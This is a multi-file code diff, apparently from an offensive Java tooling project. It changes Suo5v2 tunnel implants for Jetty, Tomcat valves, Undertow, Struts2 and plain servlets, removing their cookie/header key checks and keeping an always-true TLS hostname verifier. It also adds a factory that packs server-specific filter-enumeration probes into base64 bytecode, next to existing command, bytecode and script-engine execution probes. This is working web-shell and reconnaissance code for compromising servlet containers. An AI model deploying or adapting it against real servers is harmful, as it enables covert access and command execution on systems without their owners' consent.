} catch (Throwable ignored) { } catch (Throwable ignored) {
} finally { } finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignore) {}
} }
} }
@@ -178,7 +178,11 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -1004,109 +1008,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -173,7 +173,11 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -999,109 +1003,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -161,7 +161,11 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -987,109 +991,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -164,7 +164,11 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -990,109 +994,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -164,7 +164,11 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -990,109 +994,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -167,7 +167,11 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
} }
} catch (Throwable e) { } catch (Throwable e) {
} finally { } finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
} }
} }
@@ -993,109 +997,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
return new String(randomChars); return new String(randomChars);
} }
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
return true; return true;
} }
@@ -8,8 +8,14 @@ public enum ProbeContent {
Server, Server,
OS, OS,
JDK, JDK,
// 字节码执行
Bytecode, Bytecode,
// 命令执行
Command, Command,
// 基础信息
BasicInfo, BasicInfo,
ScriptEngine // 脚本引擎执行
ScriptEngine,
// Filter 配置
Filter
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.probe.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.Builder; import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.Setter;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
@@ -26,10 +27,11 @@ public class ResponseBodyConfig extends ProbeContentConfig {
/** /**
* 内置执行类加载的字节码 * 内置执行类加载的字节码
*/ */
@Setter
private String base64Bytes; private String base64Bytes;
/** /**
* 命令执行模板例如 sh -c "{command}" 2>&1使用 {command} 作为占位符 * 命令执行模板使用 {command} 作为占位符
*/ */
private String commandTemplate; private String commandTemplate;
@@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.probe.payload.ByteCodeProbe; import com.reajason.javaweb.probe.payload.ByteCodeProbe;
import com.reajason.javaweb.probe.payload.CommandProbe; import com.reajason.javaweb.probe.payload.CommandProbe;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.probe.payload.ScriptEngineProbe; import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
import com.reajason.javaweb.probe.payload.response.*; import com.reajason.javaweb.probe.payload.response.*;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
@@ -18,7 +19,6 @@ import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.eclipse.jetty.server.Request;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy; import java.lang.annotation.RetentionPolicy;
@@ -38,11 +38,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
@Override @Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) { protected DynamicType.Builder<?> build(ByteBuddy buddy) {
String name = probeContentConfig.getReqParamName();
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class; Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
if (Server.Jetty.equals(probeContentConfig.getServer())) { String server = probeContentConfig.getServer();
if (Server.Jetty.equals(server)) {
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class; getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
} }
if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) {
probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server));
}
Class<?> writerClass = getWriterClass(); Class<?> writerClass = getWriterClass();
Class<?> runnerClass = getRunnerClass(); Class<?> runnerClass = getRunnerClass();
DynamicType.Builder<?> builder = buddy.redefine(writerClass) DynamicType.Builder<?> builder = buddy.redefine(writerClass)
@@ -53,12 +56,12 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
.to(runnerClass) .to(runnerClass)
.on(named("run"))); .on(named("run")));
String base64Bytes = probeContentConfig.getBase64Bytes(); String base64Bytes = probeContentConfig.getBase64Bytes();
if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) { if (StringUtils.isNotBlank(base64Bytes)) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes)); builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
} else { } else {
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name) .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName())
.to(getDataFromReqInterceptor).on(named("getDataFromReq"))); .to(getDataFromReqInterceptor).on(named("getDataFromReq")));
} }
return builder; return builder;
@@ -69,6 +72,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
case Command: case Command:
return CommandProbe.class; return CommandProbe.class;
case Bytecode: case Bytecode:
case Filter:
return ByteCodeProbe.class; return ByteCodeProbe.class;
case ScriptEngine: case ScriptEngine:
return ScriptEngineProbe.class; return ScriptEngineProbe.class;
@@ -138,7 +142,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
} }
ret = p; ret = p;
} catch (Exception e) { } catch (Exception e) {
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8); Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name}); String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) { if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null); Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
@@ -0,0 +1,54 @@
package com.reajason.javaweb.probe.payload;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.probe.payload.filter.*;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2026/1/11
*/
public class FilterProbeFactory {
public static String getBase64ByServer(String server) {
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
.redefine(getFilterClass(server))
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(CommonUtil.generateClassName()).make()) {
return Base64.encodeBase64String(unloaded.getBytes());
}
}
private static Class<?> getFilterClass(String server) {
switch (server) {
case Server.Tomcat:
case Server.JBoss:
case Server.BES:
case Server.TongWeb:
return TomcatFilterProbe.class;
case Server.Jetty:
return JettyFilterProbe.class;
case Server.Apusic:
return ApusicFilterProbe.class;
case Server.GlassFish:
case Server.InforSuite:
return GlassFishFilterProbe.class;
case Server.WebSphere:
return WebSphereFilterProbe.class;
case Server.WebLogic:
return WebLogicFilterProbe.class;
case Server.Undertow:
return UndertowFilterProbe.class;
case Server.Resin:
return ResinFilterProbe.class;
default:
throw new GenerationException("filterProbe not supported for server: " + server);
}
}
}
@@ -9,7 +9,6 @@ import java.util.Set;
/** /**
* HTTP 服务类型识别主要识别 Servlet 容器实现例如 WildFly 识别为 UndertowPayara 识别为 GlassFish * HTTP 服务类型识别主要识别 Servlet 容器实现例如 WildFly 识别为 UndertowPayara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的都会识别为 GlassFish * 很多国产中间件都是基于 GlassFish 改的都会识别为 GlassFish
* <br/>
* 额外需要注意 * 额外需要注意
* 1. 不会识别 SpringWebMVC Struct2 这种框架只识别其提供 HTTP 服务的 Servlet 容器类型 * 1. 不会识别 SpringWebMVC Struct2 这种框架只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要部分类型的识别单独拿出来是不准确的没有测试的情况下不要以下的 if 判断顺序 * 2. 识别的顺序很重要部分类型的识别单独拿出来是不准确的没有测试的情况下不要以下的 if 判断顺序
@@ -51,7 +50,8 @@ public class ServerProbe {
if (System.getProperty("weblogic.home") != null) { if (System.getProperty("weblogic.home") != null) {
return ret = "WebLogic"; return ret = "WebLogic";
} }
if (System.getProperty("was.install.root") != null) { if (System.getProperty("was.install.root") != null
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere"; return ret = "WebSphere";
} }
if (System.getProperty("resin.home") != null) { if (System.getProperty("resin.home") != null) {
@@ -0,0 +1,205 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ApusicFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings({"unchecked", "Duplicates"})
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> com.apusic.web.container.WebContainer
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// webModule -> com.apusic.deploy.runtime.WebModule
Object webModule = getFieldValue(context, "webapp");
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
for (Object fm : filterMappings) {
// fm -> com.apusic.deploy.runtime.FilterMapping
String name = (String) invokeMethod(fm, "getFilterName");
if (!aggregatedData.containsKey(name)) {
Map<String, Object> info = new HashMap<>();
Object filterModel = invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{name});
info.put("filterName", name);
info.put("filterClass", invokeMethod(filterModel, "getFilterClass"));
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
if (urlPattern != null && !urlPattern.isEmpty()) ((Set<String>) info.get("urlPatterns")).add(urlPattern);
String servletName = (String) invokeMethod(fm, "getServletName");
if (servletName != null && !servletName.isEmpty()) ((Set<String>) info.get("servletNames")).add(servletName);
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("Duplicates")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* context: com.apusic.web.container.WebContainer
* context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
